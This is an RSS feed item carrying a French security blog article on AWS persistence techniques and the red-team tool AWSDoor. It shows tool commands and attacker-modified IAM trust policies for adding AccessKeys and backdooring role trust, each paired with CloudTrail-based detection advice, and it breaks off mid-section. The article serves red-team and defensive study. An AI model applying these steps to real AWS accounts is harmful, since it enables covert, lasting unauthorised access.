<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Yoann DEQUEKER, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/author/yoann-dequeker/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/author/yoann-dequeker/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Wed, 17 Sep 2025 12:37:02 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Yoann DEQUEKER, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/en/author/yoann-dequeker/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>AWSDoor : Persistance sur AWS</title>
		<link>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:28:20 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Attaques AWS]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWSDoor]]></category>
		<category><![CDATA[Bucket S3]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatch]]></category>
		<category><![CDATA[Défense AWS]]></category>
		<category><![CDATA[Outil cybersécurité]]></category>
		<category><![CDATA[Persistance IAM]]></category>
		<category><![CDATA[red team]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27196</guid>

					<description><![CDATA[<p>Cet article comporte de nombreux termes techniques et noms de service qui n&#8217;ont pas de traduction idéales en Français. Pour une lecture plus fluide, vous pouvez consulter l&#8217;article en anglais en cliquant sur « en » en haut de la page. Au...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/">AWSDoor : Persistance sur AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><em>Cet article comporte de nombreux termes techniques et noms de service qui n&rsquo;ont pas de traduction idéales en Français. Pour une lecture plus fluide, vous pouvez consulter l&rsquo;article en anglais en cliquant sur « en » en haut de la page.</em></p>



<p style="text-align: justify;">Au cours de la dernière décennie<strong>, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées</strong> pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.</p>
<p style="text-align: justify;">Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité <strong>introduisent de nouveaux défis liés à la sécurisation de ces environnements</strong>. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations <strong>peinent encore à mettre en œuvre des stratégies de sécurité efficaces</strong>, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent <strong>les </strong><strong>mauvaises configurations des rôles IAM, les politiques trop permissives</strong>, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.</p>
<p style="text-align: justify;">Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, <strong>l’action la plus courante après la compromission initiale</strong> et l’escalade de privilèges consiste à <strong>mettre en place des mécanismes de persistance</strong> <strong>d’accès</strong> dans l’environnement.</p>
<p style="text-align: justify;">Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et <strong>failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme</strong>, même après le début des actions correctives.</p>
<p style="text-align: justify;">Dans cet article, nous explorerons <strong>le concept de persistance d’accès dans AWS</strong>, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.</p>
<p style="text-align: justify;">Tout au long de cette article, <strong>les fonctionnalités d’un outil dédié</strong>, conçu pour simplifier et automatiser <strong>le déploiement de techniques de persistance dans les environnements AWS</strong>, seront présentées.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Persistance sur AWS</h2>
<h3 style="text-align: justify;">Persistance IAM</h3>
<p style="text-align: justify;">Dans le contexte d’AWS, l’<em>Identity and Access Management </em><strong>(IAM) constitue la pierre angulaire de la sécurité</strong>. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a <strong>pas été explicitement autorisée, vous ne pourrez pas l’exécuter</strong>.</p>
<p style="text-align: justify;">Globalement, l’IAM fonctionne en <strong>associant des identités (comme les utilisateurs ou rôles IAM)</strong> à des politiques, qui sont des documents <em>JSON</em> décrivant les privilèges d’un objet IAM sur une ressource.</p>
<p style="text-align: justify;">Ces politiques sont extrêmement granulaires et <strong>prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires.</strong> Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.</p>
<p style="text-align: justify;">L’IAM est devenu <strong>un vecteur puissant de persistance d’accès</strong> et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement <strong>modifier les politiques IAM</strong>, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.</p>
<p style="text-align: justify;">Ce qui <strong>rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité</strong>. En effet, les modifications apportées à IAM <strong>se fondent souvent dans les activités administratives légitimes</strong>, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, <strong>identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.</strong></p>
<p style="text-align: justify;">Dans cette section, nous <strong>explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser</strong> pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">AccessKey</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">La technique de <strong>persistance la plus élémentaire</strong> consiste à <strong>ajouter une AccessKey</strong> à un utilisateur.</p>
<p style="text-align: justify;">Sur <em>AWS</em>, les utilisateurs peuvent se connecter via l’interface en ligne de commande (<em>CLI</em>) en utilisant une <em>AccessKey</em>. La méthode la plus simple pour établir une persistance consiste à déployer une <em>AccessKey</em> sur un utilisateur disposant de privilèges élevés.</p>
<p style="text-align: justify;">Une fois la clé créée pour cet utilisateur, l’attaquant peut <strong>accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur</strong>.</p>
<p style="text-align: justify;">Cependant, cette technique présente certaines limitations :</p>
<ul style="text-align: justify;">
<li>Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.</li>
<li>Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).</li>
</ul>
<p style="text-align: justify;">Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :</p>
<ul style="text-align: justify;">
<li>Lister les AccessKey enregistrées sur un utilisateur</li>
<li>Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable</li>
<li>Supprimer l’AccessKey inutilisée</li>
</ul>
<p style="text-align: justify;"> </p>
<figure id="attachment_27297" aria-describedby="caption-attachment-27297" style="width: 1017px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-27297" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-437x174.png" alt="Information d’une clé d’accès et de la dernière utilisation de celle-ci" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word.png 1728w" sizes="(max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27297" class="wp-caption-text"><em>Information d’une clé d’accès et de la dernière utilisation de celle-ci</em></figcaption></figure>



<p>&nbsp;</p>
<p style="text-align: justify;">Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :</p>
<ul style="text-align: justify;">
<li><strong> iam:ListAccessKeys</strong> : permet de récupérer les détails des AccessKey</li>
<li><strong> iam:UpdateAccessKey</strong> : permet de désactiver la clé avant sa suppression</li>
<li><strong> iam:DeleteAccessKey</strong> : permet de supprimer effectivement l’AccessKey</li>
</ul>
<p style="text-align: justify;">Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.</p>
<p style="text-align: justify;">Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :</p>
<ul style="text-align: justify;">
<li> <strong>iam:CreateAccessKey</strong></li>
</ul>
<p style="text-align: justify;">Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :</p>
<ul>
<li style="text-align: justify;"> <strong>aws:CreateVirtualMfaDevice</strong></li>
<li style="text-align: justify;"> <strong>aws:EnableMfaDevice</strong></li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br><br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>La <strong>clé est ensuite ajoutée à l’utilisateur</strong> :</p>
<p>&nbsp;</p>
<figure id="attachment_27300" aria-describedby="caption-attachment-27300" style="width: 999px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27300" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-437x175.png" alt="Clé ajoutée avec AWSDoor" width="999" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-2048x819.png 2048w" sizes="(max-width: 999px) 100vw, 999px" /><figcaption id="caption-attachment-27300" class="wp-caption-text"><em>Clé ajoutée avec AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Bien que l’ajout d’une <em>AccessKey</em> à un utilisateur <strong>soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS</strong>, il s’agit également de l’une des méthodes <strong>les moins discrètes</strong>.</p>
<p style="text-align: justify;">En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par <strong>l’utilisateur compromis via les journaux AWS CloudTrail</strong> :</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27303" aria-describedby="caption-attachment-27303" style="width: 951px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27303" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-264x191.png" alt="Journaux de création d’AccesKey " width="951" height="688" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word.png 1505w" sizes="(max-width: 951px) 100vw, 951px" /><figcaption id="caption-attachment-27303" class="wp-caption-text"><em>Journaux de création d’AccesKey</em></figcaption></figure>
<p>&nbsp;</p>



<p style="text-align: justify;">De plus, certaines solutions de sécurité<strong>, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistan</strong>ce si les utilisateurs n’emploient généralement pas d’AccessKey.</p>
<p style="text-align: justify;">Enfin, à titre de recommandation, il est généralement préférable <strong>d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO</strong> :  <span style="color: #000080;"><a style="color: #000080;" href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</a>.</span></p>
<p style="text-align: justify;">Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile <strong>de repérer les AccessKey malveillantes et de surveiller de près celles existantes</strong> (par exemple, les utilisateurs de service CICD).</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Trust Policy</h4>
<p style="text-align: justify;">Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, <strong>les rôles ne possèdent pas d’identifiants à long terme</strong>. <strong>Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole</strong>, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.</p>
<p style="text-align: justify;">Pour contrôler qui peut assumer un rôle, <strong>AWS utilise un document spécifique appelé Trust Policy</strong> (<em>Politique de confiance</em>). Une Trust Policy spécifie les identités de <strong>principaux de confiance</strong> (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) <strong>autorisées à assumer le rôle</strong>. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Exemple de cas d’utilisation pour AssumeRole et la Trust Policy</span></h5>
<p style="text-align: justify;">Imaginez une entreprise disposant de plusieurs comptes AWS :</p>
<ul style="text-align: justify;">
<li>un pour le développement</li>
<li>un pour la préproduction (<em>staging</em>)</li>
<li>un pour la production</li>
</ul>
<p style="text-align: justify;">Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, <strong>l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion</strong>.</p>
<p> </p>
<figure id="attachment_27306" aria-describedby="caption-attachment-27306" style="width: 854px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27306" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-345x191.png" alt="Assumer un rôle au travers de la TrustPolicy" width="854" height="473" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1170x650.png 1170w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word.png 1763w" sizes="auto, (max-width: 854px) 100vw, 854px" /><figcaption id="caption-attachment-27306" class="wp-caption-text"><em>Assumer un rôle au travers de la TrustPolicy</em></figcaption></figure>
<p> </p>



<p style="text-align: justify;">Chaque compte cible <strong>définit un rôle avec des privilèges élevés</strong> (par exemple, CrossAdminAccess) et configure une TrustPolicy <strong>n’autorisant que les identités IAM du compte de gestion à l’assumer</strong>. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :</p>
<p>&nbsp;</p>
<pre>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole",<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}</pre>
<p>&nbsp;</p>
<p style="text-align: justify;">Cette approche permet de <strong>maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé</strong>. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.</p>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est <strong>gérée par la politique qui autorise explicitement un compte externe</strong> à assumer un rôle dans le compte cible.</p>
<p style="text-align: justify;">Cependant, <strong>rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance</strong>. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis&nbsp;:</p>
<p>&nbsp;</p>
<pre>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;"AWS": [<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;"arn:aws:iam::${attackerAccountId}:role/fakeRole"<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}</pre>
<p>&nbsp;</p>
<p style="text-align: justify;">Une fois cette politique appliquée, <strong>il est possible d’assumer directement le rôle compromis depuis l’extérieur</strong>.</p>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p>&nbsp;</p>
<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br>[-] Initial trust policy:<br>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Sid": "Statement1",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": "arn:aws:iam::438465151234:root"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}<br>[+] New trust policy:<br>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Sid": "Statement1",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": [<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "arn:aws:iam::438465151234:user/ADM01",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}<br>[+] Do you want to apply this change? (yes/no): yes<br>[+] Trust policy for FAKEROLE updated<br><br> </pre>



<figure id="attachment_27308" aria-describedby="caption-attachment-27308" style="width: 886px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27308" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-437x179.png" alt="La TrustPolicy a été modifée par AWSDoor" width="886" height="363" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word.png 1774w" sizes="auto, (max-width: 886px) 100vw, 886px" /><figcaption id="caption-attachment-27308" class="wp-caption-text"><em>La TrustPolicy a été modifée par AWSDoor</em></figcaption></figure>
<p style="text-align: center;">&nbsp;</p>



<p style="text-align: justify;">L’outil permet de :</p>
<ul style="text-align: justify;">
<li><strong>Cibler une instruction spécifique avec l’argument -s</strong> : par défaut, l’outil injectera la politique de confiance dans la première instruction <strong>Allow</strong> qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.</li>
<li><strong>Créer une nouvelle instruction avec l’argument -c </strong>: avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (<strong>MALICIOUS</strong> dans l’exemple ci-dessous).</li>
</ul>
<p style="text-align: justify;"> </p>
<figure id="attachment_27310" aria-describedby="caption-attachment-27310" style="width: 996px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27310" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-286x191.png" alt="Création d’une nouvelle instruction" width="996" height="665" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word.png 1478w" sizes="auto, (max-width: 996px) 100vw, 996px" /><figcaption id="caption-attachment-27310" class="wp-caption-text"><em>Création d’une nouvelle instruction</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Ce type de persistance constitue <strong>un mécanisme de persistance puissant dans les environnements AWS</strong>. Cette technique <strong>ne nécessite pas de stocker des identifiants dans l’environnement victime</strong>, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.</p>
<p style="text-align: justify;">La détection de <strong>cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance</strong>. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.</p>
<p> </p>
<figure id="attachment_27312" aria-describedby="caption-attachment-27312" style="width: 1013px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27312" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-437x176.png" alt="Exemple d'évènement UpdateAssumeRolePolicy" width="1013" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word.png 1944w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /><figcaption id="caption-attachment-27312" class="wp-caption-text"><em>Exemple d&rsquo;évènement UpdateAssumeRolePolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De même, <strong>AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés</strong>.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">Une politique de rôle IAM (<em>IAM role policy</em>) est un document <em>JSON</em> <strong>attaché à un rôle IAM qui définit quelles actions le rôle est autorisé </strong>(ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.</p>
<p style="text-align: justify;">Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">Dans la syntaxe des politiques, <strong>il est possible d’utiliser un opérateur de négation </strong>: au lieu de définir une liste blanche (<em>whitelist</em>) d’actions autorisées, il est possible de définir une liste noire (<em>blacklist) </em>d’actions.</p>
